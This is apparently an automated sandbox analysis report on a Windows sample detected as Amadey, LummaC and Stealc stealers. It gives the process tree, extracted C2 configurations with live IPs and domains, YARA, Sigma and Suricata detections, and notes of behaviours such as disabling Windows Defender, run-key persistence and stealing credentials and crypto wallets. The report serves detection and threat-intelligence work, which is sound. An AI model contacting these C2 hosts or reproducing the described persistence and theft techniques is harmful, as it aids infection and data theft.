Edit tour

Windows Analysis Report
h3yRbjNWk1.exe

Overview

General Information

Sample name:	h3yRbjNWk1.exe renamed because original name is a hash value
Original sample name:	29c296c7b8335c9d6ee3215f5484c3e0.exe
Analysis ID:	1537094
MD5:	29c296c7b8335c9d6ee3215f5484c3e0
SHA1:	c7c6db3624937daea2ba323c832ffcd4028b73a0
SHA256:	8b277787184b8ac7005df852203270a0808aca4b0d54f26e72fa3b1a2c478852
Tags:	32exe
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

h3yRbjNWk1.exe (PID: 6812 cmdline: "C:\Users\user\Desktop\h3yRbjNWk1.exe" MD5: 29C296C7B8335C9D6EE3215F5484C3E0)

skotes.exe (PID: 5264 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 29C296C7B8335C9D6EE3215F5484C3E0)

skotes.exe (PID: 2944 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 29C296C7B8335C9D6EE3215F5484C3E0)

skotes.exe (PID: 5436 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 29C296C7B8335C9D6EE3215F5484C3E0)

ea2c7beae0.exe (PID: 5744 cmdline: "C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe" MD5: E28CB5886AE7403F87A78DA3ACF30035)

6a8d4317d4.exe (PID: 5064 cmdline: "C:\Users\user\1000350002\6a8d4317d4.exe" MD5: DF8B436F45B3222C95AF2E74ACA0D084)

skotes.exe (PID: 1072 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 29C296C7B8335C9D6EE3215F5484C3E0)

4af6eb3e1f.exe (PID: 5644 cmdline: "C:\Users\user\AppData\Local\Temp\1000357001\4af6eb3e1f.exe" MD5: A4C6FC7BA18DC75ADB01372340E735EB)

skotes.exe (PID: 5568 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 29C296C7B8335C9D6EE3215F5484C3E0)

num.exe (PID: 4144 cmdline: "C:\Users\user\AppData\Local\Temp\1000401001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

ea2c7beae0.exe (PID: 1168 cmdline: "C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe" MD5: E28CB5886AE7403F87A78DA3ACF30035)

TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe (PID: 3368 cmdline: "C:\Users\user\AppData\Local\Temp\TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe" MD5: DF8B436F45B3222C95AF2E74ACA0D084)

K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe (PID: 4076 cmdline: "C:\Users\user\AppData\Local\Temp\K46P1Y9YPMFY7JJQPHSRNJ30DZ0HXET.exe" MD5: 29C296C7B8335C9D6EE3215F5484C3E0)

8X6R8OO7U6CNLMSAL.exe (PID: 4192 cmdline: "C:\Users\user\AppData\Local\Temp\8X6R8OO7U6CNLMSAL.exe" MD5: 36FABDC3A2CC13138F2AB435319CDB5B)

taskkill.exe (PID: 7072 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

6a8d4317d4.exe (PID: 5168 cmdline: "C:\Users\user\1000350002\6a8d4317d4.exe" MD5: DF8B436F45B3222C95AF2E74ACA0D084)

ea2c7beae0.exe (PID: 6376 cmdline: "C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe" MD5: E28CB5886AE7403F87A78DA3ACF30035)

6a8d4317d4.exe (PID: 6996 cmdline: "C:\Users\user\1000350002\6a8d4317d4.exe" MD5: DF8B436F45B3222C95AF2E74ACA0D084)

num.exe (PID: 2716 cmdline: "C:\Users\user\AppData\Local\Temp\1000401001\num.exe" MD5: 791FCEE57312D4A20CC86AE1CEA8DFC4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: LummaC

{"C2 url": ["licendfilteo.site", "studennotediw.store", "eaglepawnoy.store", "clearancek.site", "spirittunek.store", "bathdoomgaz.store", "mobbipenju.store", "dissapoiznw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1000401001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1000401001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000013.00000002.2900581975.0000000000651000.00000080.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.2537460651.000000000095E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1721238447.00000000007C1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1760678116.0000000000A51000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2316876024.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2620037561.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000003.2912971386.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2654891019.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2881192763.0000000005160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2785733963.000000000083D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000000.2678859508.0000000000651000.00000080.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2604132730.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2664262344.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2919732407.0000000000A51000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2695730886.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.2864835627.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000000.2883036920.0000000000651000.00000080.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000002.2731328670.00000000011EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2695281635.000000000094B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000002.2730538903.0000000000651000.00000080.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2663928952.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.2904376187.0000000000C47000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2603773117.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2496940953.0000000004C70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1758451395.0000000000A51000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2623464968.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2636516772.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.2786592123.000000000083D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2821857520.0000000005490000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2640348018.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2623251409.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2684577632.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2538148341.0000000000D21000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2799731430.000000000083D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1680996838.0000000004AE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2603721155.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2921279103.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000002.00000003.1720480608.0000000005210000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2641351631.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2604385825.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000002.2867421028.000000000162B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1718158159.0000000004E20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 6a8d4317d4.exe PID: 5064	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6a8d4317d4.exe PID: 5064	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ea2c7beae0.exe PID: 1168	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ea2c7beae0.exe PID: 1168	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ea2c7beae0.exe PID: 1168	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6a8d4317d4.exe PID: 5168	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6a8d4317d4.exe PID: 5168	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: num.exe PID: 4144	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 4144	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: ea2c7beae0.exe PID: 6376	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ea2c7beae0.exe PID: 6376	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 6a8d4317d4.exe PID: 6996	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 6a8d4317d4.exe PID: 6996	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: TG9CYTS7E59ZPZXS3YT9LXONWNDMZM8.exe PID: 3368	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 2716	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 2716	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8X6R8OO7U6CNLMSAL.exe PID: 4192	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 54 entries

Unpacked PEs

Source	Rule	Description	Author
15.0.num.exe.650000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
19.2.num.exe.650000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
15.2.num.exe.650000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
19.0.num.exe.650000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
1.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.h3yRbjNWk1.exe.7c0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.6a8d4317d4.exe.d20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
14.2.6a8d4317d4.exe.d20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.a50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.6a8d4317d4.exe.d20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5436, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ea2c7beae0.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5436, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ea2c7beae0.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:15.742810+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49833	104.21.53.8	443	TCP
2024-10-18T15:04:29.292613+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49901	104.21.53.8	443	TCP
2024-10-18T15:04:30.799149+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49907	104.21.53.8	443	TCP
2024-10-18T15:04:47.035663+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50012	104.21.53.8	443	TCP
2024-10-18T15:04:48.529653+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50018	104.21.53.8	443	TCP
2024-10-18T15:04:53.162695+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50040	104.21.53.8	443	TCP
2024-10-18T15:05:01.164060+0200	2054653	1	A Network Trojan was detected	192.168.2.4	50050	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:15.742810+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49833	104.21.53.8	443	TCP
2024-10-18T15:04:29.292613+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49901	104.21.53.8	443	TCP
2024-10-18T15:04:47.035663+0200	2049836	1	A Network Trojan was detected	192.168.2.4	50012	104.21.53.8	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:30.799149+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49907	104.21.53.8	443	TCP
2024-10-18T15:04:48.529653+0200	2049812	1	A Network Trojan was detected	192.168.2.4	50018	104.21.53.8	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:37.609418+0200	2019714	2	Potentially Bad Traffic	192.168.2.4	49956	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:14.559882+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49825	185.215.113.43	80	TCP
2024-10-18T15:04:21.686066+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49855	185.215.113.43	80	TCP
2024-10-18T15:04:25.849709+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49878	185.215.113.43	80	TCP
2024-10-18T15:04:31.386472+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49913	185.215.113.43	80	TCP
2024-10-18T15:04:36.664247+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49948	185.215.113.43	80	TCP
2024-10-18T15:04:41.635061+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49977	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:12.879749+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	64331	1.1.1.1	53	UDP
2024-10-18T15:04:26.942370+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	52126	1.1.1.1	53	UDP
2024-10-18T15:04:35.848322+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	50607	1.1.1.1	53	UDP
2024-10-18T15:04:44.644138+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	53116	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:12.736878+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	54579	1.1.1.1	53	UDP
2024-10-18T15:04:26.812591+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	57439	1.1.1.1	53	UDP
2024-10-18T15:04:35.772698+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	55499	1.1.1.1	53	UDP
2024-10-18T15:04:44.530893+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	61897	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:12.826901+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	58232	1.1.1.1	53	UDP
2024-10-18T15:04:26.917219+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	53913	1.1.1.1	53	UDP
2024-10-18T15:04:35.819276+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	56496	1.1.1.1	53	UDP
2024-10-18T15:04:44.597383+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	57965	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:12.799438+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	58875	1.1.1.1	53	UDP
2024-10-18T15:04:26.903698+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	55608	1.1.1.1	53	UDP
2024-10-18T15:04:35.801289+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	53570	1.1.1.1	53	UDP
2024-10-18T15:04:44.583278+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	59869	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:12.961949+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	54334	1.1.1.1	53	UDP
2024-10-18T15:04:26.969763+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	59545	1.1.1.1	53	UDP
2024-10-18T15:04:35.884577+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	52039	1.1.1.1	53	UDP
2024-10-18T15:04:44.680357+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	63891	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-18T15:04:12.771233+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	58049	1.1.1.1	53	UDP
2024-10-18T15:04:26.892322+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	53008	1.1.1.1	53	UDP
2024-10-18T15:04:35.789282+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	53787	1.1.1.1	53	UDP
2024-10-18T15:04:44.567182+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	53917	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
